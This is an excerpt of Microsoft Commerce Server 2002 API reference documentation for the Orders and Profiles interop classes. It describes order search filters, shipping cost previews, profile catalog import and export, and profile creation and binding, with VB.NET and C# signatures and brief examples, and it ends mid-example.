Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeStart As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeStart {get; set;}

Property Value

An object containing the DateTime start value to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.StatusFilter Property (PIA)

The StatusFilter property is a read/write Integer that contains the OrderGroup status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property StatusFilter As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int StatusFilter {get; set;}

Property Value

An Integer containing the OrderGroup status.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of the StatusFilter parameter determines whether a search is being made for a basket, an order, a template, or a combination of these. A bit field is used to determine this. The following table shows the meaning of the individual bits.

Status Type | Value
Basket | 1
Template | 2
New Order | 4
Custom | 8
Custom | 16

Note

  • Because the contents of baskets and templates are held in one table, and the contents of OrderGroups with all other status codes (codes 4 and greater) are held elsewhere, only certain values are permissible for searches.

    The following values are permissible:

    • 1 (basket search)
    • 2 (template search)
    • 3 (basket or template)
    • 4 (new order)
    • 12 ( 4 & 8)
    • 24 (8 & 16)

    The following values are not permissible:

    • 5 (basket or new order)
    • 6 (template or new order)
    • 9 (1 & 8)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_firstname Property (PIA)

The user_firstname property is a read/write Object that contains the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_firstname As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_firstname {get; set;}

Property Value

An object containing the first name of the user to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_id Property (PIA)

The user_id property is a read/write Object that contains the user ID to search for; if left null, the user ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_id {get; set;}

Property Value

An object containing the user ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_lastname Property (PIA)

The user_lastname property is a read/write Object that contains the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_lastname As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_lastname {get; set;}

Property Value

An Object containing the last name of the user to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_org_id Property (PIA)

The user_org_id property is a read/write Object that contains the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_org_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_org_id {get; set;}

Property Value

An object containing the user organization ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_org_name Property (PIA)

The user_org_name property is a read/write Object that contains the user organization name to search for; if left null, the user organization name does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_org_name As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_org_name {get; set;}

Property Value

An object containing the user organization name to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


Shipping Class (PIA)

Use this object to create shipping cost preview information.

Methods

Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_shipmgr (in cs_shipmgr.dll)


Shipping Methods (PIA)

Methods

Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


Shipping.PreviewShipments Method (PIA)

Use this method to divide an order into shipments and produce shipping cost previews for each shipment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function PreviewShipments(
  ByRef orig_orderform As Object,
  ByRef context As Object,
  ByRef ShipmentDistinguishers As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object PreviewShipments(
  ref object orig_orderform,
  ref object context,
  ref object ShipmentDistinguishers,
);

Parameters

[Visual Basic .NET]
orig_orderform
The OrderForm object for which to calculate shipping cost previews.
context
The Context dictionary to use to run the shipping components.
ShipmentDistinguishers
An array of strings containing the line-item attributes (keys) to use to split the order into shipments.
[C#]
orig_orderform
A reference to an object containing the OrderForm dictionary for which to calculate shipping cost previews.
context
A reference to an object containing the Context dictionary to use to run the shipping components.
ShipmentDistinguishers
A reference to an object containing a System.Array of strings containing the line-item attributes (keys) to use to split the order into shipments.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a list of SimpleList dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries containing the shipping cost previews, one dictionary for each shipping method.

[C#] An object containing a list of SimpleList dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries containing the shipping cost previews, one dictionary for each shipping method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments. The mechanism used is the same as for the Splitter pipeline component. For more information about how shipment distinguishers are used to split shipments, see Splitter.

The PreviewShipments method returns a list of SimpleList of dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries, each of which contains the shipping cost for using a particular shipping method.

For example code showing how to loop through the preview shipments, see Previewing Shipping Costs.

[Visual Basic .NET]

Example

' oShip is a Commerce.Shipping object
' dOrder and dContext are Commerce.Dictionary objects
' ADistinguishers is an Array of strings naming line items
' slShipments is a SimpleList of dictionary or orderform objects

slShipments = oShip.PreviewShipments(dOrder, dContext, _
  ADistinguishers)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Previewing Shipping Costs

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


Microsoft.CommerceServer.Interop.Profiles

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Profiles namespace.

Class | Description
BusinessDataAdmin2FreeThreaded | Imports and exports profile catalogs from the business data store.
Profile | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.


BusinessDataAdmin2FreeThreaded Class (PIA)

Use this class to import and export profile catalogs from the business data store.

Methods

Method | Description
Connect | Connects the object to the profile data store.
Dispose | Garbage collection for the class.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Retrieves the site terms in the profile data store.
ImportCatalogs | Imports a profile catalog to the profile data store.

Properties

Property | Description
m_connBizDataStore | Connection to the Profile Data store

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in Microsoft.CommerceServer.Interop.Profiles.BizDataAdmin.dll)


BusinessDataAdmin2FreeThreaded Methods (PIA)

Methods

Method | Description
Connect | Connects the object to the profile data store.
Dispose | Garbage collection for the class.
ExportCatalogs | Exports a profile catalog from the profile data store.
GetSiteTerms | Retrieves the site terms in the profile data store.
ImportCatalogs | Imports a profile catalog to the profile data store.


BusinessDataAdmin2FreeThreaded.Connect Method (PIA)

Use this method to connect the object to the profile data store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Connect (
  connectString As String,
  UserName As String,
  Pwd As String,
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void FunctionName (
  string connectString,
  string UserName,
  string Pwd
);

Parameters

[Visual Basic .NET]
connectString
A String that contains the connection string.
UserName
A String that contains the connection string.
Pwd
A String that contains the password. The default value is "".
[C#]
connectString
A string that contains the connection string.
UserName
A string that contains the connection string.
Pwd
A string that contains the password. The default value is "".

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method must be called prior to calling either the ExportCatalogs, ImportCatalogs, or GetSiteTerms method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

BusinessDataAdmin2FreeThreaded Class

BusinessDataAdmin2FreeThreaded Methods


BusinessDataAdmin2FreeThreaded.Dispose Method (PIA)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Dispose ( _
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Dispose(
);

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

Copyright © 1996–2002 Microsoft Corporation.
All rights reserved.


BusinessDataAdmin2FreeThreaded.ExportCatalogs Method (PIA)

Use this method to export the profile catalog (profile schema) in the business data store to an XML file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public sub FunctionName (
  sFileName As String,
  bRemoveCredentials As Boolean,
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void FunctionName (
  string sFileName,
  bool bRemoveCredentials
);

Parameters

[Visual Basic .NET]
sFileName
A String that specifies that file that will contain the exported profile catalog. This is a local path – it cannot be a URL.
bRemoveCredentials
A Boolean that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value is True.
[C#]
sFileName
A string that specifies that file that will contain the exported profile catalog. This is a local path – it cannot be a URL.
bRemoveCredentials
A bool that specifies whether to remove the credentials from the connection strings in the profile catalog. A value of True indicates remove the credentials. A value of False indicates do not remove the credentials. The default value is True.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

You must call the Connect method before calling this method.

The exported XML document will conform to the schema specified in file MSCSProfileSchema.xml, and will contain both site terms and profile definitions.

If the bRemoveCredentials parameter is True, then the credentials (user name and password) will be removed from all connection strings. These credentials will have to be replaced before the catalog can be imported. If the catalog is imported through Commerce Server Manager, the user must enter a user name and password for each data source partition in the catalog. See Exporting Profile Schema for more information.

If the bRemoveCredentials parameter is False, then the credentials will be exported in plain text with the rest of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

BusinessDataAdmin2FreeThreaded Class

BusinessDataAdmin2FreeThreaded Methods


BusinessDataAdmin2FreeThreaded.GetSiteTerms Method (PIA)

Use this method to create an XML document containing the site terms.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetSiteTerms (
  sEncode As String,
) As DOMDocument
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public DOMDocument GetSiteTerms(
  string sEncode
);

Parameters

[Visual Basic .NET]
sEncode
A String that contains the document encoding.
[C#]
sEncode
A string that contains the document encoding.

Return Values

If this method completes successfully, it returns a DOMDocument object that contains the site terms.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

You must call connect before calling this method.

The DOMDocument object returned by this property is valid only if the method completed successfully.

The sEncode parameter is used to specify the encoding within the document. It inserts the following tag in the document.

<xml encoding = "<sEncode>">

It does not change how the site terms are encoded or perform any validation that the encoding in the document matches the sEncode parameter.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

BusinessDataAdmin2FreeThreaded Class

BusinessDataAdmin2FreeThreaded Methods


BusinessDataAdmin2FreeThreaded.ImportCatalogs Method (PIA)

Use this method to import the profile catalog (profile schema) in an XML document to the business data store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub ImportCatalog (
  sXMLDocument As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void ImportCatalog (
  string sXMLDocument
);

Parameters

[Visual Basic .NET]
sXMLDocument
A String that contains the XML document containing the profile catalog to be imported.
[C#]
sXMLDocument
A string that contains the XML document containing the profile catalog to be imported.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

You must call the Connect method before calling this method.

The XML data in the parameter sXMLDocument must contain a single profile catalog, and it must conform to the schema in the file MSCSProfileSchema.xml.

If the catalog you want to import was exported without credentials you will need to add credentials for each data source in the catalog before it can be imported.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

BusinessDataAdmin2FreeThreaded Class

BusinessDataAdmin2FreeThreaded Methods


BusinessDataAdmin2FreeThreaded Properties (PIA)

Public Instance Properties

Property | Description
m_connBizDataStore | Connection to the Profile Data store


BusinessDataAdmin2FreeThreaded.m_connBizDataStore Property (PIA)

The m_connBizDataSTore object is a read/write Connection object that contains the connection to the Business Desk data store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Property m_connBizDataStore as Connection
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public Connection m_connBizDataStore { get; set;}

Property Value

A Connection object containing the connection to the Profile data store.

Exception

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: bizdataadmin (in bizdadaadmin.dll)

See Also

BusinessDataAdmin2FreeThreaded Class

BusinessDataAdmin2FreeThreaded Properties


Profile Class (PIA)

Use this object to retrieve the data in a specific Profile object instance and modify the property values for that Profile object. In addition, use the Profile object to examine and navigate the property attributes of a profile object.

Methods

Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the Profile object.
Update | Saves the profile data to the underlying data store.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Stores the profile property collection. This property is read-only.

Remarks

The Profile object maintains backward compatibility with the AUO 1.0 object (released in Microsoft Site Server 3.0 Commerce Edition) by inheriting from the IADs interface. Refer to the Active Directory Service Interfaces (ADSI) documentation in MSDN for descriptions of the methods of the IADs interface.

[Visual Basic .NET]

The Profile object supports extended dot notation. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The Profile object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfile.Address.ZipCode

is equivalent to:

oProfile.Fields("Address.Zipcode")

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

[C#]

The Profile object supports extended dot notation. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The Profile object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfile.Address.ZipCode

is equivalent to:

oProfile.Fields["Address.Zipcode"]

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Objects

Profile Schema

Profile XML Structures

ProfileService Object


Profile Methods (PIA)

Methods

Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the Profile object.
Update | Saves the profile data to the underlying data store.


Profile.GetProfileXML Method (PIA)

Use this method to retrieve the XML schema and data of the Profile object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileXML (
  eRetrieveEnum As XMLRetrieveEnum,
  bAttributeCentric As Boolean
) As String
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public string GetProfileXML (
  XMLRetrieveEnum eRetrieveEnum,
  bool bAttributeCentric
);

Parameters

[Visual Basic .NET]
eRetrieveEnum
An Enum that indicates whether to retrieve the XML schema, data, or both.
bAttributeCentric
A Boolean that indicates the XML output format. Set this parameter to True to retrieve the XML in an attribute-centric format, and to False to retrieve the XML in an element-centric format.
[C#]
bAttributeCentric
A bool that indicates the XML output format. Set this parameter to true to retrieve the XML in an attribute-centric format, and to false to retrieve the XML in an element-centric format.
eRetrieveEnum
An Enum that indicates whether to retrieve the XML schema, data, or both.

Return Values

[Visual Basic .NET] This method returns a String containing the XML representation of the Profile object.

[C#] This method returns a string containing the resulting XML fragment.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The following table defines the possible values for XMLRetrieveEnum.

Name | Value | Description
psRetrieveInvalidValue | 0 | Invalid option
psRetrieveSchemaAndData | 1 | Both the schema and data are retrieved.
psRetrieveDataOnly | 2 | Only the data is retrieved.
psRetrieveSchemaOnly | 3 | Only the schema is retrieved.
[Visual Basic .NET]

Example+

' sXMLProfile is a String, oProfile is a UserObject profile

sXMLProfile = oProfile.GetProfileXML(psRetrieveDataOnly, True)

' The attribute-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo  org_id="{590858E1-08A7-11D3-B8C4-00104B95AE0E}"
         account_status="1" date_registered="2000- 6- 5T 0: 0: 0">
      </AccountInfo>
      <GeneralInfo  user_id="{590858DB-08A7-11D3-B8C4-00104B95FFFF}"
         logon_name="jilluser@microsoft.com"
         user_security_password="password" user_title="" last_name="User"
         first_name="Jill" user_id_changed_by="MyAdminID">
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

sXMLProfile = oProfile.GetProfileXML(psRetrieveDataOnly, False)

' The element-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo>
         <org_id>{590858E1-08A7-11D3-B8C4-00104B95AE0E}</org_id>
         <account_status>1</account_status>
         <date_registered>2000- 6- 5T 0: 0: 0</date_registered>
      </AccountInfo>
      <GeneralInfo
         <user_id>{590858DB-08A7-11D3-B8C4-00104B95FFFF}</user_id>
         <logon_name>jilluser@microsoft.com</logon_name>
         <user_security_password>password</user_security_password>
         <user_title></user_title>
         <last_name>User</last_name>
         <first_name>Jill</first_name>
         <user_id_changed_by>MyAdminID</user_id_changed_by>
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Class

Profile.Fields

Profile XML Structures


Profile.Update Method (PIA)

Use this method to save Profile object data to the underlying data store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Update()
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Update();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The Update method commits the object to the data store.

Any changes made by using the IADs interface routines are committed to the database.

Use the Fields property to access the Profile object data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Object

Profile.Fields


Profile Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Stores the profile property collection. This property is read-only.


Profile.Fields Property (PIA)

The Fields property is a read-only Fields collection that contains the profile property data for the Profile object. Read-only refers to the inability to add or delete members (profile properties) of the Fields collection. This property is the default property of the Profile object. Use this property to set and retrieve profile property values and to navigate the attribute list of the properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
using ADODB26Lib;                              //For _Recordset
…
public Fields Fields {get; }

Property Value

[C#] This property returns a collection of ADODB26Lib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

[Visual Basic .NET]

The Fields collection is a Fields collection object.

A member of the Fields collection is a Field object that represents a single property or property group of a Profile object.

The Attributes collection is represented as a Properties object.

Use the Update method of the Profile object to save any changed profile data in the underlying data store.

The Fields property of the Profile object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()
[C#]

The Fields collection is an ADODB26Lib.Fields collection object.

A member of the Fields collection is an ADODB26Lib.Field object that represents a single property or property group of a Profile object.

The Attributes collection is represented as an ADODB26Lib.Properties object.

Use the Update method of the Profile object to save any changed profile data in the underlying data store.

The Fields property of the Profile object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Class

ProfileService Object


ProfileService Class (PIA)

Use this object to create, delete, and retrieve ProfileObject objects.

Methods

Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object using XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
Unbind | Clears the user credentials for accessing the underlying Profiles store.

Properties

Property | Type | Description
Errors | ADODB26Lib.Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.

Remarks

The ProfileService object implements read/write run-time access for ProfileObject objects and read-only access for profile definitions.

The ProfileService object provides run-time access to a profile object, which is a specific instantiation of a profile schema. The Profile Definition Designer module in Commerce Server Business Desk and the Profiles resource in Commerce Server Manager provide design-time access for modifying the profile schema.

In a Web-based application context, the ProfileService object is intended to be created and initialized in the Global.asax file for the application. The ProfileObject objects are intended to be created within page scope.

Call the Initialize method before you use any other ProfileService method or property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

Profile Objects

Profile Schema

Profile XML Structures

Profile Class


ProfileService Methods (PIA)

Methods

Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object using XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
Unbind | Clears the user credentials for accessing the underlying Profiles store.


ProfileService.BindAs Method (PIA)

Use this method to set the credentials used to access ProfileObject objects in the underlying Profiles store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub BindAs (
  sUserName As String,
  sPassword As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void BindAs (
  string sUserName,
  string sPassword,
);

Parameters

[Visual Basic .NET]
sUserName
A String that contains the user name for accessing ProfileObject objects.
sPassword
A String that contains the password for accessing ProfileObject objects.
[C#]
sUserName
A string that contains the user name for accessing ProfileObject objects.
sPassword
A string that contains the password for accessing ProfileObject objects.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

This method sets the credentials used to access and modify ProfileObject objects in the underlying directory store. Any new ProfileObject objects or modifications will be bound to these credentials. The specified credentials define the security context under which all subsequent ProfileObject object operations will be performed, until the Unbind method is invoked. The credentials specified here will be used as is to bind to the underlying directory stores. It is the responsibility of the client to pass in these credentials in the appropriate format. For example, to bind to Active Directory you could pass in any of the following:

  • Full User Principal Name (UPN) (for example, joeuser@domain.com)
  • SAM Account Name (for example, Domain\SAMAccountName)
  • Fully specified distinguished name of the security principal (for example, CN=joeuser, CN=Users, DC=Domain, DC=com)

For the Membership Directory, you must specify the fully specified distinguished name of the security principal.

Use the Unbind method to clear the credentials.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
oProfileService.BindAs("JoeUser@microsoft.com", "MyPassword123")
oProfileService.BindAs("DomainName\JoeUser", "MyPassword123")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.Unbind


ProfileService.CreateProfile Method (PIA)

Use this method to create a ProfileObject object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function CreateProfile(
  sValue As Object,
  bstrType As String
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject CreateProfile(
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value for the new ProfileObject object. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the schema type for the new ProfileObject object.
[C#]
sValue
An object that contains the primary key value for the new ProfileObject object. The variable types permitted for this object are string or int.
bstrType
A string that contains the schema type for the new ProfileObject object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the IProfileObject interface. The reference is set to Null if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

[C#] This method returns an object that implements the IProfileObject interface. The reference is set to null if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

The CreateProfile method verifies that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects

oProfileObject1 = oProfileService.CreateProfile _
